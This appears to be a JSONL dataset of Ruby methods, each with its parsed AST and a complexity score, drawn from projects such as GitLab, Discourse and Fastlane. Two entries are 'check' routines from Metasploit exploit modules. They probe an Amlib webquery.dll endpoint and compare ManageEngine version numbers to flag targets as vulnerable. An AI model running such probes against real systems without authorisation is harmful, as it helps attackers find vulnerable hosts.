you?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]}]}","id":"40f27063-e6c7-4cd3-98d8-06739b0f2c43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/click_house/migrate/main/20250415215316_update_troubleshoot_job_events_primary_key.rb","start_line":4,"raw_source":"def up\n    execute <<-SQL\n      DROP TABLE IF EXISTS troubleshoot_job_events\n    SQL\n\n    execute <<-SQL\n      CREATE TABLE troubleshoot_job_events\n      (\n        user_id UInt64 NOT NULL DEFAULT 0,\n        timestamp DateTime64(6, 'UTC') NOT NULL DEFAULT now64(),\n        job_id UInt64 NOT NULL DEFAULT 0,\n        project_id UInt64 NOT NULL DEFAULT 0,\n        event UInt8 NOT NULL DEFAULT 0,\n        namespace_path String DEFAULT '',\n        pipeline_id UInt64 DEFAULT 0,\n        merge_request_id UInt64 DEFAULT 0\n      )\n      ENGINE = ReplacingMergeTree\n      PARTITION BY toYear(timestamp)\n      ORDER BY (user_id, event, namespace_path, timestamp)\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"      DROP TABLE IF EXISTS troubleshoot_job_events\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      CREATE TABLE troubleshoot_job_events\\n\"]},{\"type\":\"str\",\"children\":[\"      (\\n\"]},{\"type\":\"str\",\"children\":[\"        user_id UInt64 NOT NULL DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"        timestamp DateTime64(6, 'UTC') NOT NULL DEFAULT now64(),\\n\"]},{\"type\":\"str\",\"children\":[\"        job_id UInt64 NOT NULL DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"        project_id UInt64 NOT NULL DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"        event UInt8 NOT NULL DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"        namespace_path String DEFAULT '',\\n\"]},{\"type\":\"str\",\"children\":[\"        pipeline_id UInt64 DEFAULT 0,\\n\"]},{\"type\":\"str\",\"children\":[\"        merge_request_id UInt64 DEFAULT 0\\n\"]},{\"type\":\"str\",\"children\":[\"      )\\n\"]},{\"type\":\"str\",\"children\":[\"      ENGINE = ReplacingMergeTree\\n\"]},{\"type\":\"str\",\"children\":[\"      PARTITION BY toYear(timestamp)\\n\"]},{\"type\":\"str\",\"children\":[\"      ORDER BY (user_id, event, namespace_path, timestamp)\\n\"]}]}]}]}]}","id":"340f321f-07f2-4324-9184-acaeb77fe0fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/resource_events/change_milestone_service.rb","start_line":22,"raw_source":"def create_event\n      ResourceMilestoneEvent.create(build_resource_args)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourceMilestoneEvent\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"build_resource_args\"]}]}]}","id":"d78e69f0-ee69-4a85-9105-c610144faa69"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/menu/quick_add_menu.rb","start_line":54,"raw_source":"def expect_work_package_type(*names, present: true)\n      within_dropdown do\n        expect(page).to have_text \"Work packages\"\n      end\n\n      names.each do |name|\n        expect_link name, present:\n      end\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_work_package_type\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]},{\"type\":\"kwoptarg\",\"children\":[\"present\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_dropdown\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"str\",\"children\":[\"Work packages\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_link\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"present\"]},{\"type\":\"lvar\",\"children\":[\"present\"]}]}]}]}]}]}]}","id":"ebb61eda-caaa-4b46-ab09-43ceb3508891"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/exception_reporter.rb","start_line":4,"raw_source":"def self.call(exception, human_message = 'Exception reported')\n    return unless DawarichSettings.self_hosted?\n\n    Rails.logger.error \"#{human_message}: #{exception.message}\"\n\n    Sentry.capture_exception(exception)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"optarg\",\"children\":[\"human_message\",{\"type\":\"str\",\"children\":[\"Exception reported\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DawarichSettings\"]},\"self_hosted?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human_message\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sentry\"]},\"capture_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]}","id":"01f1e1e7-78f2-4b21-965e-bcbf4c98b9a8"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/cli.rb","start_line":320,"raw_source":"def self.doc\n        return enum_for(:doc) unless block_given?\n\n        yield %|usage: rouge list|\n        yield %||\n        yield %|print a list of all available lexers with their descriptions.|\n      end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"doc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"doc\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"str\",\"children\":[\"usage: rouge list\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"dstr\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"str\",\"children\":[\"print a list of all available lexers with their descriptions.\"]}]}]}]}","id":"721323d5-a172-42df-b892-e13f925c0e1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/schema_addition_methods_no_post.rb","start_line":43,"raw_source":"def rolling_back_migration?(node)\n          node.each_ancestor(:def).any? { |a| rolling_back_migration(a) }\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"rolling_back_migration?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_ancestor\",{\"type\":\"sym\",\"children\":[\"def\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"rolling_back_migration\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]}","id":"ab117fa8-a01d-4825-b9b1-59d8f57af45d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/user.rb","start_line":12,"raw_source":"def self.from_gitaly(gitaly_user)\n        new(\n          gitaly_user.gl_username,\n          Gitlab::EncodingHelper.encode!(gitaly_user.name),\n          Gitlab::EncodingHelper.encode!(gitaly_user.email),\n          gitaly_user.gl_id,\n          gitaly_user.timezone\n        )\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_gitaly\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gitaly_user\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_user\"]},\"gl_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EncodingHelper\"]},\"encode!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_user\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EncodingHelper\"]},\"encode!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_user\"]},\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_user\"]},\"gl_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_user\"]},\"timezone\"]}]}]}","id":"3485ef7b-2f70-45ed-9161-b361546ed000"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_mass_assignment.rb","start_line":171,"raw_source":"def inside_safe_method? result\n    parent_call = result.dig(:parent, :call)\n\n    call? parent_call and\n      parent_call.method.match(/_path$/)\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"inside_safe_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"parent_call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_call\"]},\"method\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_path$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}","id":"da32ce1d-3638-401b-85fc-74e0f50bcb9e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/increment_version_service.rb","start_line":8,"raw_source":"def initialize(version, increment_type = nil)\n      @version = version\n      @increment_type = increment_type || :patch\n      @parsed_version = Packages::SemVer.parse(@version.to_s)\n\n      raise \"Version must be in a valid SemVer format\" unless @parsed_version || @version.nil?\n\n      return if ALLOWED_INCREMENT_TYPES.include?(@increment_type)\n\n      raise \"Increment type must be one of :patch, :minor, or :major\"\n    end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"optarg\",\"children\":[\"increment_type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@increment_type\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"increment_type\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@parsed_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"SemVer\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"nil?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Version must be in a valid SemVer format\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_INCREMENT_TYPES\"]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@increment_type\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Increment type must be one of :patch, :minor, or :major\"]}]}]}]}","id":"1ca6a050-2dde-4666-844e-1ad2b7846d47"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/amlibweb_webquerydll_app.rb","start_line":70,"raw_source":"def check\n    connect\n\n    rand = Rex::Text.rand_text_alpha(10)\n\n    sock.put(\"GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\\r\\n\\r\\n\")\n    res = sock.get_once\n    disconnect\n\n    if (res.to_s =~ /<H1>BAD REQUEST<\\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\\s(\\w+)/)\n      if ($1 == rand)\n        return Exploit::CheckCode::Vulnerable\n      end\n    end\n    Exploit::CheckCode::Safe\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GET /amlibweb/webquery.dll?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand\"]}]},{\"type\":\"str\",\"children\":[\"= HTTP/1.0\\r\\n\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<H1>BAD REQUEST</H1><P>Your client sent a request that this server didn't understand.<br>Request:\\\\s(\\\\w+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"==\",{\"type\":\"lvar\",\"children\":[\"rand\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"89182575-5d96-4143-833a-ddab859a0a06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb","start_line":109,"raw_source":"def all_jobs\n          # We fetch all relevant data in one go.\n          #\n          # This is more efficient than relying on PostgreSQL to calculate composite status for us\n          #\n          # Since we need to reprocess everything we can fetch all of them and do processing ourselves.\n          strong_memoize(:all_jobs) do\n            raw_jobs = pipeline\n              .current_jobs\n              .ordered_by_stage\n              .pluck(*JOB_ATTRS)\n\n            raw_jobs.map do |row|\n              JOB_ATTRS.zip(row).to_h\n            end\n          end\n        end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all_jobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"all_jobs\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_jobs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"current_jobs\"]},\"ordered_by_stage\"]},\"pluck\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JOB_ATTRS\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_jobs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JOB_ATTRS\"]},\"zip\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},\"to_h\"]}]}]}]}]}","id":"2402d2f4-2738-425b-8a9c-2dd98f09c1fe"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/tag.rb","start_line":27,"raw_source":"def open_edit_tag\n        find(\".tag-name-wrapper .edit-tag\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_edit_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".tag-name-wrapper .edit-tag\"]}]},\"click\"]}]}","id":"96d4a5b6-1542-4db4-8210-fc49112daa2d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/credentials_manager/lib/credentials_manager/appfile_config.rb","start_line":105,"raw_source":"def team_id(*args, &block)\n      setter(:team_id, *args, &block)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"team_id\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"setter\",{\"type\":\"sym\",\"children\":[\"team_id\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"7d4a4f9a-735e-4f34-babc-4953d97422d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/manageengine_auth_upload.rb","start_line":138,"raw_source":"def check\n    version = get_version\n    # TODO: put fixed version on the two ifs below once (if...) products are fixed\n    # sd was fixed on build 9031\n    # ae and sc still not fixed\n    if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') ||\n       (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') ||\n       (version[3] == 'sc' && version[2] < 99999)\n      return Exploit::CheckCode::Appears\n    end\n\n    if (version[2] > 9030 && version[3] == 'sd') ||\n       (version[2] > 99999 && version[3] == 'ae') ||\n       (version[2] > 99999 && version[3] == 'sc')\n      return Exploit::CheckCode::Safe\n    else\n      # An IT360 check always lands here, there is no way to get the version easily\n      return Exploit::CheckCode::Unknown\n    end\n  end","complexity_score":69.73,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"<=\",{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\">\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"<\",{\"type\":\"int\",\"children\":[9031]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"==\",{\"type\":\"str\",\"children\":[\"sd\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"<=\",{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"<\",{\"type\":\"int\",\"children\":[99999]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"==\",{\"type\":\"str\",\"children\":[\"ae\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"==\",{\"type\":\"str\",\"children\":[\"sc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"<\",{\"type\":\"int\",\"children\":[99999]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\">\",{\"type\":\"int\",\"children\":[9030]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"==\",{\"type\":\"str\",\"children\":[\"sd\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\">\",{\"type\":\"int\",\"children\":[99999]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"==\",{\"type\":\"str\",\"children\":[\"ae\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\">\",{\"type\":\"int\",\"children\":[99999]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"==\",{\"type\":\"str\",\"children\":[\"sc\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]}]}","id":"e44a8b2e-b1b7-4a94-a52d-3a43fe99a5d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/diff_refs.rb","start_line":39,"raw_source":"def complete?\n        start_sha.present? && head_sha.present?\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"complete?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_sha\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head_sha\"]},\"present?\"]}]}]}","id":"a787a76e-395b-4cf8-8db3-2a708e11aef6"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/current.rb","start_line":9,"raw_source":"def webhooks_subscribers\n      super || store&.active_webhooks_subscribers || Spree::Webhooks::Subscriber.none\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"webhooks_subscribers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"active_webhooks_subscribers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Webhooks\"]},\"Subscriber\"]},\"none\"]}]}]}","id":"c35f7752-c1bd-4730-84ea-42ebd0bc6ea3"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_json.rb","start_line":217,"raw_source":"def test_json(json)\n      parsed_records = []\n      @parser.configure(\"json_parser\" => \"json\")\n      @parser.instance.parse(data[:record]) { |time, record|\n        parsed_records.append(record)\n      }\n      assert_equal(data[:expected], parsed_records)\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_records\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"json_parser\"]},{\"type\":\"str\",\"children\":[\"json\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"instance\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"record\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_records\"]},\"append\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expected\"]}]},{\"type\":\"lvar\",\"children\":[\"parsed_records\"]}]}]}]}","id":"d813dd4a-7e34-4b92-b5b2-f7b06ff926ae"}
